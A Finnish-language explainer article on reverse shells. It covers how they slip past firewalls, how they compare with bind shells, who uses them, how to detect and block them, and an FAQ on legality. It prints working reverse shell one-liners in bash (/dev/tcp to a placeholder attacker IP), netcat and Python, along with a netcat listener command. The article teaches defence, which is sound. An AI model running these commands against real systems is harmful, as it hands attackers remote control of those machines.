Käänteinen kuori
TL;DR: Käänteinen kuori
Käänteinen kuori, joka tunnetaan myös nimellä connect-back shell, on tilanne, jossa vaarantunut järjestelmä yhdistää hyökkääjään ja antaa heille reaaliaikaisen komentoriviyhteyden.
Miksi tämä on tärkeää?
- Käänteiset kuoret voivat ohittaa palomuurit, koska useimmat palomuurit estävät saapuvat yhteydet, mutta sallivat lähtevät yhteydet.
- Hyökkääjät saavat todellisen hallinnan, koska he voivat suorittaa komentoja aivan kuin olisivat kirjautuneet suoraan sisään.
- Käänteiset kuoret ovat hyvin yleisiä, koska ne ovat vakioaskel sen jälkeen, kun hyökkääjä on hyödyntänyt järjestelmää.
Kuvittele se näin: sen sijaan, että hyökkääjä yrittäisi päästä sisään, he huijaavat palvelimen ottamaan heihin yhteyttä.
Mikä on käänteinen kuori?
Käänteinen kuori on etäkuori, jossa uhrin tietokone aloittaa yhteyden hyökkääjän tietokoneeseen.
Normaalisti tietokoneesi aloittaa yhteyden, kuten silloin kun vierailet verkkosivustolla. Käänteisessä kuoressa tämä on käänteistä. Kun hyökkääjä löytää tavan suorittaa koodia, palvelin yhdistää takaisin hyökkääjään.
Helppo tapa muistaa se:
- Bind shell: Yrität yhdistää palvelimeen. Jos palomuuri estää sinut, et pääse läpi.
- Käänteinen kuori: Palvelin yhdistää sinuun. Koska lähtevät yhteydet ovat yleensä sallittuja, voit vastata ja ottaa hallinnan.
Miksi käänteiset kuoret ovat tärkeitä
Tietoturvatiimit keskittyvät yleensä puolustuksiin, kuten palomuureihin, kuormantasaajiin ja porttien rajoittamiseen. Nämä toimivat, kunnes hyökkääjä onnistuu suorittamaan koodia järjestelmän sisällä.
Kun näin tapahtuu, käänteinen kuori tulee hyökkääjän pääasialliseksi tavaksi pysyä sisällä.
Miksi tämä on vaarallista:
-
Lähtevä liikenne on luotettu.
Palomuurit sallivat usein lähtevän liikenteen porteilla, kuten 80 tai 443, päivityksiä ja API-yhteyksiä varten. Käänteiset shellit voivat piiloutua tähän sallittuun liikenteeseen.
-
Hyökkääjät voivat ylläpitää pääsyä.
Vaikka alkuperäinen tietoturva-aukko korjattaisiin, aktiivinen shell voi silti antaa hyökkääjille mahdollisuuden hallita järjestelmää.
-
Se mahdollistaa lateraalisen liikkumisen.
Shellin avulla hyökkääjät voivat tutkia sisäistä verkkoa, varastaa salasanoja ja siirtyä muihin tietokoneisiin. Yksi haavoittuvuus voi nopeasti johtaa koko ympäristön vaarantumiseen.
Kuinka käänteinen shell toimii
Käänteisessä shellissä on kaksi pääosaa: kuuntelija ja kuorma.
1. Kuuntelija (Hyökkääjän puoli)
Hyökkääjä käyttää ohjelmaa, joka odottaa yhteyksiä. Netcat on yleinen työkalu tähän.
nc -lvnp 4444
Tämä komento käskee hyökkääjän tietokonetta kuuntelemaan porttia 4444 ja odottamaan yhteyttä.
2. Kuorma (Uhrin puoli)
Löydettyään haavoittuvuuden, kuten etäkoodin suoritus, hyökkääjä suorittaa komennon uhrin palvelimella avatakseen shellin ja lähettääkseen sen takaisin.
bash -i >& /dev/tcp/hyokkaajan-ip/4444 0>&1
Tämä komento käynnistää bash-shellin ja lähettää kaiken syötteen ja tulosteen hyökkääjän tietokoneelle.
3. Yhteys
Uhrin palvelin aloittaa lähtevän yhteyden. Palomuuri näkee tämän normaalina ja sallii sen. Hyökkääjän kuuntelija hyväksyy yhteyden, antaen hyökkääjälle live-shellin palvelimella.
Tässä vaiheessa hyökkääjällä on täydellinen interaktiivinen hallinta palvelimeen.
Yleisiä käänteisen shellin esimerkkejä
Hyökkääjät ja eettiset hakkerit mukauttavat lähestymistapaansa sen perusteella, mitä työkaluja kohdejärjestelmässä on saatavilla.
Bash (Yleinen Linuxissa)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
Käytetään, kun Netcat on saatavilla kohdekoneessa.
nc -e /bin/sh 10.0.0.1 4444
Python
Python on hyvin yleinen nykyaikaisilla palvelimilla.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Reverse Shell vs Bind Shell
Reverse shellien ja bind shellien eron tunteminen auttaa verkkojen puolustamisessa.
| Ominaisuus | Bind Shell | Reverse Shell |
|---|---|---|
| Yhteyden suunta | Hyökkääjä uhrille | Uhri hyökkääjälle |
| Palomuurin vaikutus | Usein estetty | Usein sallittu |
| Verkkovaatimukset | Suora pääsy tarvitaan | Toimii NAT ja palomuurien läpi |
| Tyypillinen käyttötapaus | Sisäiset verkot | Todelliset hyökkäykset |
Kuka käyttää reverse shellejä?
- Penetraatiotestaajat käyttävät reverse shellejä todistaakseen, että haavoittuvuus voi johtaa koko järjestelmän kompromissiin.
- Red teamit käyttävät reverse shellejä testatakseen, kuinka hyvin lähtevä liikenne on hallinnassa.
- Pahantahtoiset toimijat käyttävät reverse shellejä kiristysohjelmien levittämiseen, tietojen varastamiseen tai verkossa etenemiseen.
- Järjestelmänvalvojat käyttävät harvoin reverse shellejä etäkäyttöön. He suosivat yleensä turvallisia SSH-tunneleita.
Havaitseminen ja estäminen
Reverse shellien pysäyttäminen vaatii useita puolustuskerroksia.
-
Lähtevän liikenteen suodatus
Palvelimilla ei pitäisi olla avointa pääsyä internetiin. Rajoita, mihin kohteisiin ja portteihin ne voivat käyttää.
-
Käyttäytymisen seuranta
Web-palvelimen käynnistämä shell-prosessi, kuten /bin/bash tai cmd.exe, on erittäin epäilyttävä.
-
Vähennä hyökkäyspintaa.
Poista käyttämättömät työkalut, kuten Netcat, kääntäjät ja ylimääräiset tulkit tuotantojärjestelmistä.
Liittyvät termit
- Remote Code Execution (RCE)
- Bind Shell
FAQ: Reverse Shell
Onko reverse shell laiton?
Reverse shellit ovat laillisia vain, jos käytät niitä järjestelmissä, jotka omistat tai joihin sinulla on selkeä lupa testata. Niiden käyttö ilman lupaa on laitonta.
Miksi palomuurit sallivat reverse shellit?
Palomuurit on rakennettu estämään saapuvat uhat ja yleensä luottavat lähtevään liikenteeseen. Reverse shellit hyödyntävät tätä.
Voiko virustorjunta havaita reverse shellit?
Joskus. Virustorjuntaohjelmisto, joka käyttää allekirjoituksia, voi löytää tunnettuja shell-ohjelmia, mutta tiedostottomat shellit, jotka on tehty Bashilla tai Pythonilla, ovat paljon vaikeampia havaita.
Mikä on ero reverse shellin ja webshellin välillä?
Webshell käytetään selaimen kautta ja se pysyy yleensä järjestelmässä, mutta sillä on rajalliset ominaisuudet. Reverse shell tarjoaa reaaliaikaisen, interaktiivisen komentorivisession.